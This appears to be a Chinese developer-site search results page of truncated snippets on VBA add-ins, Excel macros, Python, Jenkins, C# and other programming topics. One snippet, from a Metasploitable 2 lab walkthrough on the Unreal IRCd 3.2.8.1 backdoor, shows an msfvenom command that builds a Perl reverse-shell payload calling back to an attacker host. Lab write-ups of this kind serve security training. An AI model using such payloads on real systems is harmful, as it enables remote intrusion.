首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

MyVBA加载宏——添加自定义菜单04——功能实现

功能实现 01 类模块功能 类模块CCommandBar就是为了响应单击按钮的功能: 根据单击的按钮的名称,读取对应名称的txt文件 取到的文本插入到VBE中 所以,分别先实现2个函数,读取txt文件的内容在前面有过介绍...i_row As Long '获取鼠标定位所在的行号 Application.VBE.ActiveCodePane.GetSelection i_row, 0, 0, 0 '获取的行号开始处插入代码...然后是实现类模块响应按钮的单击事件: Public WithEvents cmdbe As VBIDE.CommandBarEvents Private Sub cmdbe_Click(ByVal...02 添加菜单的功能 添加菜单和按钮的代码: '记录所有需要执行单击事件的菜单按钮 Private cbars As Collection Private Type CommandBarInfo...03 自动更新 使用过程中增加了代码后,只要重新打开加载宏就会自动进行更新,在ThisWorkbook模块添加代码: Private Sub Workbook_Open() Call AddCommanBar

1.4K30
您找到你想要的搜索结果了吗?
是的
没有找到

VBA专题05-1:一文彻底掌握用户窗体编程基础知识(上)

在Windows对话框中所看到的大多数控件都能在用户窗体中实现,例如命令按钮、选项按钮、复选框、文本框、组合框,以及一些其它不常用的控件如图像、日历,等等。...然后,在代码模块窗口中,对用户窗体或控件添加相应的事件程序代码。 5.显示用户窗体。打开用户窗体模块,按F5键可以运行宏程序,或者单击工具栏中的运行按钮显示用户窗体。...为了内存中清除窗体,必须卸载(unload)它。当用户单击关闭按钮关闭窗体时,用户窗体将被自动卸载。...卸载会清除用户窗体模块中的所有的变量——类似于停止了一个过程。用户已经输入的任何数值都将丢失,控件恢复为属性窗口中输入的缺省值。如果想保存它们的值,则需要在卸载用户窗体前进行保存。...在这里,可以初始化变量和控件。例如,能够电子表格中更新最新的数据到文本框中、改变文本框的缺省值为当天的日期,等等。

6.1K20

Excel实战技巧50: 避免因粘贴破坏数据有效性

然而,数据复制粘贴到设置了数据有效性的单元格时,会破坏掉数据有效性设置。 利用VBA代码,可以避免因粘贴数据而破坏单元格数据有效性设置。...在VBE中,插入一个名为clsCommandBarCatcher的类模块,输入代码: '捕获命令栏中的单击以阻止粘贴 Public WithEvents oComBarCtl As Office.CommandBarButton..._ & vbNewLine& "提示: 要想可以撤销粘贴, 使用命令栏中的粘贴值按钮....CatchPaste", , False End Sub Private Sub Workbook_Open() CatchPaste End Sub 在工作簿打开时,进行相应的设置。...图1 标准模块代码的图片版如下: ? ? ? clsCommandBarCatcher的类模块代码的图片版: ? ThisWorkbook模块的代码图片版: ?

6.8K31

Excel实战技巧78: 创建个人宏工作簿

个人宏工作簿是一个文件,可以在应用程序开启时运行其中的VBA代码,就像是运行功能区选项卡中的命令一样。创建个人宏工作簿很简单,如下所示。...步骤1:打开一个Excel工作簿,单击功能区“开发工具”选项卡中的“录制宏”命令,在弹出的“录制宏”对话框中,选取“保存在”下拉列表框中的“个人宏工作簿”,如下图1所示。单击“确定”。 ?...通常,Excel会自动个人宏工作簿文件保存在默认位置: C:\Users\[insert your username]\AppData\Roaming\Microsoft\Excel\XLSTART...图3 下面,我们《Excel实战技巧77:实现在当前工作表和前一个使用的工作表之间自由切换》中创建的快捷键功能放到个人宏工作簿中,以便于在所有打开的工作簿中都能使用这个功能。...,输入代码: '打开工作簿时运行 Private Sub Workbook_Open() Call TabBack_Run End Sub 保存并关闭Excel文件,然后随便打开一个工作簿,发现可以使用快捷键

2.6K30

VBA实战技巧23:动态显示绘图区坐标值

图1 打开VBE,插入一个标准模块,输入如下代码: Option Private Module ' 在X中的像素/英寸 Private Const LOGPIXELSX = 88 '1磅定义为1...获取窗口的设备上下文(绘图层)的句柄 Private Declare PtrSafe Function GetDC Lib "user32" (ByVal hWnd As Long) As Long '设备上下文中获取设备的功能...,将其名称修改为CChart,在其中输入下面的代码: ' 说明: 演示在不同的图表坐标系之间转换的类 ' ' 模块变量,勾挂图表的事件 Public WithEvents mchtChart As Chart...Top = dYVal - .Height / 2 End With End With End If End Sub 最后,在ThisWorkbook代码模块中...,输入下面的代码: Dim mclsChart As CChart '初始化图表事件句柄 Private Sub Workbook_Open() Set mclsChart = New CChart

1.2K40

Metasploitable 2系列教程:漏洞利用之Unreal IRCd 3.2.8.1

如果你没有安装客户端,可以使用以下命令进行安装: apt update && apt install -y hexchat 我们点击 add 按钮添加一个 network ,并命名为 Metasploitable...接着我们点击 Edit 按钮,输入 Metasploitable 2 的 IP 地址,并使用 6667 端口。 关闭窗口并点击连接按钮,连接到 Metasploitable 2 的 IRC 服务。...我们包含有不同 payloads 的脚本第一部分开始。...头 3 行设置了三个初始化为空的变量,分别为 host, port 和 type ,接着它们被分别赋予了变量值。下面开始判断这 3 个变量是否为空值,如果为空则执行 usage 函数。...命令如下: msfvenom -p cmd/unix/reverse_perl LHOST=192.168.100.108 LPORT=4444 -f raw 下面我们进行一个测试,生成的 payload

2.2K70

VBA专题10-25:使用VBA操控Excel界面之一个示例程序

下面,我们介绍一个简单的示例程序,实现下面的功能特点: 1. 当打开工作簿时, 1.1 激活特定的工作表(名为Sample)。 1.2 开始的3行被冻洁。...当用户Custom选项卡的下拉控件中选择不同的项目时, 2.1 仅相应地显示选项卡中某组控件(AllGroups,Group1,Group2,Group3,Groups 1 and 2,Groups...能够单元格上下文菜单中访问自定义控件(名为Remove USD)。 要创建这个程序,执行下列步骤: 1. 创建一个新工作簿,将其保存为启用宏的工作簿。 2....插入标准的VBA模块,复制并粘贴下列VBA代码: Public myRibbon As IRibbonUI '库中图像的数量 Dim ImageCount As Long '图像的文件名 Dim ImageFilenames...在ThisWorkbook模块中插入下面的VBA代码: Private Sub Workbook_Open() With Application '禁用Workbook_SheetActivate

2.2K10

利用Python进行数据分析(一)

说在前面 即将自学《利用Python进行数据分析》这本书,为了督促自己思考并总结,遂学习内容连载在此。以便大家参考,和自己回顾。...:绘制数据图表 Ipython:编写工具 SciPy:科学计算(积分微分 线性代数balabalabalabala) IPython 1.逐行输入 逐行输出 2.Tab键自动完成(b._) 3.内省(变量或者函数对象前面或后面加...%run命令 %run+文件名 运行脚本 5.ctrl+c中止(Anaconda Jupter Notebook 有黑色小方块停止按钮) 6.魔术命令 %magic 如%timeit an_example...Python有“一次加载”模块系统,当你运行一个脚本后 再修改加载的模块 这个脚本不会使用更新后的模块。需要在import somelib后加上reload(somelib)。...2、扁平结构要比嵌套结构好 总结 看了两天,前面是对本书目录的一个了解,此书主要是对涉及的几个模块(非常常用)的介绍和初步使用,其次是数据分析取到清理到分析到可视化的处理。

1.1K70

使用Jenkins + git submodule 实现自动化编译,解决代码安全性问题

现在项目中,都强调要分层、分模块,这是软件工程的角度来考虑的。...如果再进一步, 把这些模块都划分为一个小的子系统,每个开发人员只负责自己的模块,并且只能有权限拉取自己的代码,这样他就没法获取到一个项目中所有模块的代码了。...(3) )重新加载环境变量 执行指令:source ~/.bashrc,此时环境变量就生效了。...需要手动获取所有的子模块,执行指令: git submodule update --init --recursive 此时,再使用 tree 命令看一下文件变化,可以看到 test1 和 test2...subtree直接把子模块代码拷贝到主模块中,使用命令简单; submodule 使用的是“指针”指向子模块,使用命令相对复杂一些,功能也更强大; 4.

2.1K20

dotnet C# 使用无捕获的委托可以获得编译器缓存减少对象创建

本文也叫跟着 Stephen Toub 大佬学性能优化系列,这是我 Stephen Toub 大佬给 WPF 框架做性能优化学到的知识,通过让委托无捕获来进行性能优化 在 .NET 应用中,咱可以通过委托某个方法传入到某个模块里面...,让这个模块在合适的时候,执行传入的方法。...object state) { ActionList.Add((action, state)); } 咱需要将 Foo 方法调用 AddFoo 方法,...但是如果点击第一个按钮,点击内存的获取快照,可以看到内存加了很多对象 在性能优化时,可以考虑减少委托的捕获,如在传入实例的方法,也就是非静态的方法时,将会让委托捕获了 this 变量,需要创建委托。...cd 命令进入此空文件夹,在命令行里面输入以下代码,即可获取到本文的代码 git init git remote add origin https://gitee.com/lindexi/lindexi_gd.git

47220

python:threading多线程模

假设我们有一个公共数据x(也可以叫共享资源,临界资源),然后跑10个线程都去访问这变量并对这个变量进行修改的操作,那么就得到意料之外的结果。...ps:以下代码来自《征服python-语言基础于典型应用》 import threading # 导入threading模块 import time...# 导入time模块 class mythread(threading.Thread): # 通过继承创建类 def __...用互斥锁来保证同一时刻只有一个线程访问公共资源,实现简单的同步 互斥锁:threading.Lock   互斥锁方法:acquire() 获取锁   release():释放锁 当有一个线程的锁之后,...假设一个锁嵌套的情况:有个线程以及获取到锁和共享资源了,但是又需要一把锁来获取另外一个资源,那么只要把代码里面的: lock = threading.Lock() 修改为: lock = threading.RLock

44070

调度工具 taskctl-> Designer 设计IDE环境

如上图所示,工具栏除了包含了一系列的命令按钮外,下表展示了工具栏中的按钮对应的快捷键和说明: 3.3、状态栏 概括的讲,状态栏动态的表述了系统命令的执行情况以及系统状态。...3.9、查找与替换 您可以快速搜索特定单词或短语在模块代码设计窗口出现的位置。点击工具栏 “文件中查找”按钮,或者按“Ctrl+F”,随即将打开“查找与替换”窗口。...3、选择好查找范围,只能替换签出流程的模块代码内容。〔有关“签出”将在以后的章节进行介绍〕 4、点击“替换”按钮替换下一个查找到的内容,点击全部替换批量替换所有查找到的内容。...当用户把流程签出后,即获得该流程最新的数据信息和开发权限,才允许对该流程及所属模块、流程变量进行编辑和删除等操作。如果试图签出已被其它用户签出的流程时,系统提示“该流程已被占用,无法签出”。...3、键入“变量名称”、“变量值”,选择“变量类型”及“是否加密”选项,点击“增加”新增按钮完成私有变量新增操作。 4、选中表格中的流程变量,点击“删除”删除按钮完成私有变量删除操作。

2K30

Module 的语法

// ES6模块 import { stat, exists, readFile } from 'fs'; 上面代码的实质是fs模块加载 3 个方法,其他方法不加载。...其他脚本可以通过这个接口,取到值1。它们的实质是,在接口名与模块内部变量之间,建立了一一对应的关系。 同样的,function和class的输出,也必须遵守这样的写法。...如果想为输入的变量重新取一个名字**,import命令要使用as关键字,输入的变量重命名。** import { lastName as surname } from '....同样地,因为export default命令的本质是后面的值,赋给default变量,所以可以直接一个值写在export default之后。...注意,export *命令会忽略circle模块的default方法。然后,上面代码又输出了自定义的e变量和默认方法。 这时,也可以circle的属性或方法,改名后再输出。

94820

边缘计算那点事儿 | PLC内数据通过http协议发送给云端数据库

开干 首先需要使用这个边缘计算模块PLC里面读取到需要的数据信息。例子中我读的是一个Rockwell L30ERM PLC里面的数据。...在PLC里面先模拟了两个水厂的数据变量: 然后,配置边缘计算模块,让它读取到这些变量。...登录到边缘计算模块的web配置页面,左侧节点框内拉取一个读取AB PLC数据的节点,如图 双击该节点可在右侧弹出框内进行配置,并且点击页面上PLC右侧的编辑按钮开始编辑配置 在编辑页面内,需要输入...如果变量的数量较多,可以使用该模块内置的导入导出功能,变量配置文件导出成一个csv文件,用Excel软件打开后按规定的格式批量填写完毕再导入就可以了。...左侧节点栏拖一个Debug节点到中心编辑区域内,使用鼠标刚才配置的AB PLC节点和debug阶段连接起来: 点击页面右上角的部署按钮,即可将当前配置部署到边缘计算模块内自动运行起来。

64210
领券